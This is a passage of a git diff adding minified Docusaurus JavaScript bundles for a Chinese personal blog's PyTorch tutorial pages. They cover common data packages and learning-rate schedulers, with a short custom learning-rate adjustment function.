\u8fd9\u4e2a\u8981\u94b1\uff0c\u7f51\u4e0a\u627e\u4e00\u4e0b\u6559\u7a0b"]}),"\n",(0,i.jsxs)(s.li,{children:["\u5b89\u5353\uff1a",(0,i.jsx)(s.a,{href:"https://github.com/2dust/v2rayNG",children:"V2rayNG"})]}),"\n"]})]})}function o(e={}){const{wrapper:s}={...(0,l.R)(),...e.components};return s?(0,i.jsx)(s,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}},28453:(e,s,t)=>{t.d(s,{R:()=>r,x:()=>d});var n=t(96540);const i={},l=n.createContext(i);function r(e){const s=n.useContext(l);return n.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:r(e.components),n.createElement(l.Provider,{value:s},e.children)}},34366:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194306255-20b76e272d6469d3f76aad1c6f75230f.png"},50686:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193352389-30ef2619115a5d7b06eb3c0fc67bd51b.png"},52789:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194009339-ea3e403c808b9a17259c327483ef9ae3.png"},54132:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193751302-c30181c8fbaed0521128eeb3b4484087.png"},62356:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193042426-c96387c5e3e45eb9789c6b9555a2baac.png"},94982:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128194324721-96ec6c00507a75dd9fbb0fc6b89a4c39.png"}}]); \ No newline at end of file diff --git a/assets/js/47928ee3.8cb5d979.js b/assets/js/47928ee3.8cb5d979.js new file mode 100644 index 0000000..a5e37b0 --- /dev/null +++ b/assets/js/47928ee3.8cb5d979.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7892],{23792:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>d,default:()=>h,frontMatter:()=>i,metadata:()=>l,toc:()=>o});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.2 \u8bc4\u4ef7\u6307\u6807.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"},"next":{"title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"}}');var s=n(74848),r=n(28453);const i={},d="0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md",c={},o=[{value:"Numpy",id:"numpy",level:2},{value:"pandas",id:"pandas",level:2},{value:"matplotlib",id:"matplotlib",level:2}];function a(e){const t={h1:"h1",h2:"h2",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"03-\u5e38\u7528\u5305\u7684\u5b66\u4e60md",children:"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u5e38\u7528\u5305\u7684\u5b66\u4e60",children:"\u5e38\u7528\u5305\u7684\u5b66\u4e60"}),"\n",(0,s.jsx)(t.h2,{id:"numpy",children:"Numpy"}),"\n",(0,s.jsx)(t.h2,{id:"pandas",children:"pandas"}),"\n",(0,s.jsx)(t.h2,{id:"matplotlib",children:"matplotlib"})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>d});var l=n(96540);const s={},r=l.createContext(s);function i(e){const t=l.useContext(r);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:i(e.components),l.createElement(r.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/4996b2b5.5f23e0b4.js b/assets/js/4996b2b5.5f23e0b4.js new file mode 100644 index 0000000..91beba6 --- /dev/null +++ b/assets/js/4996b2b5.5f23e0b4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3524],{28453:(e,r,l)=>{l.d(r,{R:()=>s,x:()=>h});var t=l(96540);const n={},c=t.createContext(n);function s(e){const r=t.useContext(c);return t.useMemo(function(){return"function"==typeof e?e(r):{...r,...e}},[r,e])}function h(e){let r;return r=e.disableParentContext?"function"==typeof e.components?e.components(n):e.components||n:s(e.components),t.createElement(c.Provider,{value:r},e.children)}},94530:(e,r,l)=>{l.r(r),l.d(r,{assets:()=>d,contentTitle:()=>h,default:()=>a,frontMatter:()=>s,metadata:()=>t,toc:()=>i});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"},"next":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"}}');var n=l(74848),c=l(28453);const s={},h="6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md",d={},i=[{value:"6.2.1 \u4f7f\u7528\u5b98\u65b9scheduler",id:"621-\u4f7f\u7528\u5b98\u65b9scheduler",level:2},{value:"6.2.2 \u81ea\u5b9a\u4e49scheduler",id:"622-\u81ea\u5b9a\u4e49scheduler",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function o(e){const r={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(r.header,{children:(0,n.jsx)(r.h1,{id:"62-\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387md",children:"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,n.jsxs)(r.table,{children:[(0,n.jsx)(r.thead,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,n.jsx)(r.tbody,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.td,{style:{textAlign:"left"},children:(0,n.jsx)(r.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,n.jsx)(r.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,n.jsxs)(r.table,{children:[(0,n.jsx)(r.thead,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,n.jsx)(r.tbody,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.td,{style:{textAlign:"left"},children:(0,n.jsx)(r.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,n.jsx)(r.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,n.jsx)(r.h1,{id:"62-\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387",children:"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}),"\n",(0,n.jsx)(r.p,{children:"\u5b66\u4e60\u7387\u7684\u9009\u62e9\u662f\u6df1\u5ea6\u5b66\u4e60\u4e2d\u4e00\u4e2a\u56f0\u6270\u4eba\u4eec\u8bb8\u4e45\u7684\u95ee\u9898\uff0c\u5b66\u4e60\u901f\u7387\u8bbe\u7f6e\u8fc7\u5c0f\uff0c\u4f1a\u6781\u5927\u964d\u4f4e\u6536\u655b\u901f\u5ea6\uff0c\u589e\u52a0\u8bad\u7ec3\u65f6\u95f4\uff1b\u5b66\u4e60\u7387\u592a\u5927\uff0c\u53ef\u80fd\u5bfc\u81f4\u53c2\u6570\u5728\u6700\u4f18\u89e3\u4e24\u4fa7\u6765\u56de\u632f\u8361\u3002\u4f46\u662f\u5f53\u6211\u4eec\u9009\u5b9a\u4e86\u4e00\u4e2a\u5408\u9002\u7684\u5b66\u4e60\u7387\u540e\uff0c\u7ecf\u8fc7\u8bb8\u591a\u8f6e\u7684\u8bad\u7ec3\u540e\uff0c\u53ef\u80fd\u4f1a\u51fa\u73b0\u51c6\u786e\u7387\u9707\u8361\u6216loss\u4e0d\u518d\u4e0b\u964d\u7b49\u60c5\u51b5\uff0c\u8bf4\u660e\u5f53\u524d\u5b66\u4e60\u7387\u5df2\u4e0d\u80fd\u6ee1\u8db3\u6a21\u578b\u8c03\u4f18\u7684\u9700\u6c42\u3002\u6b64\u65f6\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u9002\u5f53\u7684\u5b66\u4e60\u7387\u8870\u51cf\u7b56\u7565\u6765\u6539\u5584\u8fd9\u79cd\u73b0\u8c61\uff0c\u63d0\u9ad8\u6211\u4eec\u7684\u7cbe\u5ea6\u3002\u8fd9\u79cd\u8bbe\u7f6e\u65b9\u5f0f\u5728PyTorch\u4e2d\u88ab\u79f0\u4e3ascheduler\uff0c\u4e5f\u662f\u6211\u4eec\u672c\u8282\u6240\u7814\u7a76\u7684\u5bf9\u8c61\u3002"}),"\n",(0,n.jsx)(r.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:"\u5982\u4f55\u6839\u636e\u9700\u8981\u9009\u53d6\u5df2\u6709\u7684\u5b66\u4e60\u7387\u8c03\u6574\u7b56\u7565"}),"\n",(0,n.jsx)(r.li,{children:"\u5982\u4f55\u81ea\u5b9a\u4e49\u8bbe\u7f6e\u5b66\u4e60\u8c03\u6574\u7b56\u7565\u5e76\u5b9e\u73b0"}),"\n"]}),"\n",(0,n.jsx)(r.h2,{id:"621-\u4f7f\u7528\u5b98\u65b9scheduler",children:"6.2.1 \u4f7f\u7528\u5b98\u65b9scheduler"}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.strong,{children:"\u4e86\u89e3\u5b98\u65b9\u63d0\u4f9b\u7684API"})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u5728\u8bad\u7ec3\u795e\u7ecf\u7f51\u7edc\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5b66\u4e60\u7387\u662f\u6700\u91cd\u8981\u7684\u8d85\u53c2\u6570\u4e4b\u4e00\uff0c\u4f5c\u4e3a\u5f53\u524d\u8f83\u4e3a\u6d41\u884c\u7684\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\uff0cPyTorch\u5df2\u7ecf\u5728",(0,n.jsx)(r.code,{children:"torch.optim.lr_scheduler"}),"\u4e3a\u6211\u4eec\u5c01\u88c5\u597d\u4e86\u4e00\u4e9b\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u5982\u4e0b\u9762\u5217\u51fa\u7684\u8fd9\u4e9bscheduler\u3002"]}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.LambdaLR.html#torch.optim.lr_scheduler.LambdaLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.LambdaLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.MultiplicativeLR.html#torch.optim.lr_scheduler.MultiplicativeLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.MultiplicativeLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.StepLR.html#torch.optim.lr_scheduler.StepLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.StepLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.MultiStepLR.html#torch.optim.lr_scheduler.MultiStepLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.MultiStepLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ExponentialLR.html#torch.optim.lr_scheduler.ExponentialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ExponentialLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CosineAnnealingLR.html#torch.optim.lr_scheduler.CosineAnnealingLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CosineAnnealingLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ReduceLROnPlateau.html#torch.optim.lr_scheduler.ReduceLROnPlateau",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ReduceLROnPlateau"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CyclicLR.html#torch.optim.lr_scheduler.CyclicLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CyclicLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.OneCycleLR.html#torch.optim.lr_scheduler.OneCycleLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.OneCycleLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CosineAnnealingWarmRestarts.html#torch.optim.lr_scheduler.CosineAnnealingWarmRestarts",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CosineAnnealingWarmRestarts"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ConstantLR.html#torch.optim.lr_scheduler.ConstantLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ConstantLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.LinearLR.html#torch.optim.lr_scheduler.LinearLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.LinearLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.PolynomialLR.html#torch.optim.lr_scheduler.PolynomialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.PolynomialLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ChainedScheduler.html#torch.optim.lr_scheduler.ChainedScheduler",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ChainedScheduler"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.SequentialLR.html#torch.optim.lr_scheduler.SequentialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.SequentialLR"})})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u8fd9\u4e9bscheduler\u90fd\u662f\u7ee7\u627f\u81ea",(0,n.jsx)(r.code,{children:"_LRScheduler"}),"\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,n.jsx)(r.code,{children:"help(torch.optim.lr_scheduler)"}),"\u6765\u67e5\u770b\u8fd9\u4e9b\u7c7b\u7684\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7",(0,n.jsx)(r.code,{children:"help(torch.optim.lr_scheduler._LRScheduler)"}),"\u6765\u67e5\u770b",(0,n.jsx)(r.code,{children:"_LRScheduler"}),"\u7c7b\u7684\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.strong,{children:"\u4f7f\u7528\u5b98\u65b9API"})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u5173\u4e8e\u5982\u4f55\u4f7f\u7528\u8fd9\u4e9b\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u7b56\u7565\uff0c",(0,n.jsx)(r.code,{children:"PyTorch"}),"\u5b98\u65b9\u4e5f\u5f88\u4eba\u6027\u5316\u7684\u7ed9\u51fa\u4e86\u4f7f\u7528\u5b9e\u4f8b\u4ee3\u7801\u5e2e\u52a9\u5927\u5bb6\u7406\u89e3\uff0c\u6211\u4eec\u4e5f\u5c06\u7ed3\u5408\u5b98\u65b9\u7ed9\u51fa\u7684\u4ee3\u7801\u6765\u8fdb\u884c\u89e3\u91ca\u3002"]}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"# \u9009\u62e9\u4e00\u79cd\u4f18\u5316\u5668\noptimizer = torch.optim.Adam(...) \n# \u9009\u62e9\u4e0a\u9762\u63d0\u5230\u7684\u4e00\u79cd\u6216\u591a\u79cd\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\nscheduler1 = torch.optim.lr_scheduler.... \nscheduler2 = torch.optim.lr_scheduler....\n...\nschedulern = torch.optim.lr_scheduler....\n# \u8fdb\u884c\u8bad\u7ec3\nfor epoch in range(100):\n train(...)\n validate(...)\n optimizer.step()\n # \u9700\u8981\u5728\u4f18\u5316\u5668\u53c2\u6570\u66f4\u65b0\u4e4b\u540e\u518d\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\n# scheduler\u7684\u4f18\u5316\u662f\u5728\u6bcf\u4e00\u8f6e\u540e\u9762\u8fdb\u884c\u7684\nscheduler1.step() \n...\nschedulern.step()\n"})}),"\n",(0,n.jsxs)(r.p,{children:[(0,n.jsx)(r.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,n.jsxs)(r.p,{children:["\u6211\u4eec\u5728\u4f7f\u7528\u5b98\u65b9\u7ed9\u51fa\u7684",(0,n.jsx)(r.code,{children:"torch.optim.lr_scheduler"}),"\u65f6\uff0c\u9700\u8981\u5c06",(0,n.jsx)(r.code,{children:"scheduler.step()"}),"\u653e\u5728",(0,n.jsx)(r.code,{children:"optimizer.step()"}),"\u540e\u9762\u8fdb\u884c\u4f7f\u7528\u3002"]}),"\n",(0,n.jsx)(r.h2,{id:"622-\u81ea\u5b9a\u4e49scheduler",children:"6.2.2 \u81ea\u5b9a\u4e49scheduler"}),"\n",(0,n.jsxs)(r.p,{children:["\u867d\u7136PyTorch\u5b98\u65b9\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u7684API\uff0c\u4f46\u662f\u5728\u5b9e\u9a8c\u4e2d\u4e5f\u6709\u53ef\u80fd\u78b0\u5230\u9700\u8981\u6211\u4eec\u81ea\u5df1\u5b9a\u4e49\u5b66\u4e60\u7387\u8c03\u6574\u7b56\u7565\u7684\u60c5\u51b5\uff0c\u800c\u6211\u4eec\u7684\u65b9\u6cd5\u662f\u81ea\u5b9a\u4e49\u51fd\u6570",(0,n.jsx)(r.code,{children:"adjust_learning_rate"}),"\u6765\u6539\u53d8",(0,n.jsx)(r.code,{children:"param_group"}),"\u4e2d",(0,n.jsx)(r.code,{children:"lr"}),"\u7684\u503c\uff0c\u5728\u4e0b\u9762\u7684\u53d9\u8ff0\u4e2d\u4f1a\u7ed9\u51fa\u4e00\u4e2a\u7b80\u5355\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,n.jsx)(r.p,{children:"\u5047\u8bbe\u6211\u4eec\u73b0\u5728\u6b63\u5728\u505a\u5b9e\u9a8c\uff0c\u9700\u8981\u5b66\u4e60\u7387\u6bcf30\u8f6e\u4e0b\u964d\u4e3a\u539f\u6765\u76841/10\uff0c\u5047\u8bbe\u5df2\u6709\u7684\u5b98\u65b9API\u4e2d\u6ca1\u6709\u7b26\u5408\u6211\u4eec\u9700\u6c42\u7684\uff0c\u90a3\u5c31\u9700\u8981\u81ea\u5b9a\u4e49\u51fd\u6570\u6765\u5b9e\u73b0\u5b66\u4e60\u7387\u7684\u6539\u53d8\u3002"}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"def adjust_learning_rate(optimizer, epoch):\n lr = args.lr * (0.1 ** (epoch // 30))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n"})}),"\n",(0,n.jsxs)(r.p,{children:["\u6709\u4e86",(0,n.jsx)(r.code,{children:"adjust_learning_rate"}),"\u51fd\u6570\u7684\u5b9a\u4e49\uff0c\u5728\u8bad\u7ec3\u7684\u8fc7\u7a0b\u5c31\u53ef\u4ee5\u8c03\u7528\u6211\u4eec\u7684\u51fd\u6570\u6765\u5b9e\u73b0\u5b66\u4e60\u7387\u7684\u52a8\u6001\u53d8\u5316"]}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"def adjust_learning_rate(optimizer,...):\n ...\noptimizer = torch.optim.SGD(model.parameters(),lr = args.lr,momentum = 0.9)\nfor epoch in range(10):\n train(...)\n validate(...)\n adjust_learning_rate(optimizer,epoch)\n"})}),"\n",(0,n.jsx)(r.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,n.jsxs)(r.ol,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/optim.html",children:"PyTorch\u5b98\u65b9\u6587\u6863"})}),"\n"]})]})}function a(e={}){const{wrapper:r}={...(0,c.R)(),...e.components};return r?(0,n.jsx)(r,{...e,children:(0,n.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/assets/js/4a711154.d9fffc79.js b/assets/js/4a711154.d9fffc79.js new file mode 100644 index 0000000..561e332 --- /dev/null +++ b/assets/js/4a711154.d9fffc79.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6855],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>d});var s=t(96540);const r={},i=s.createContext(r);function l(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(i.Provider,{value:n},e.children)}},45850:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 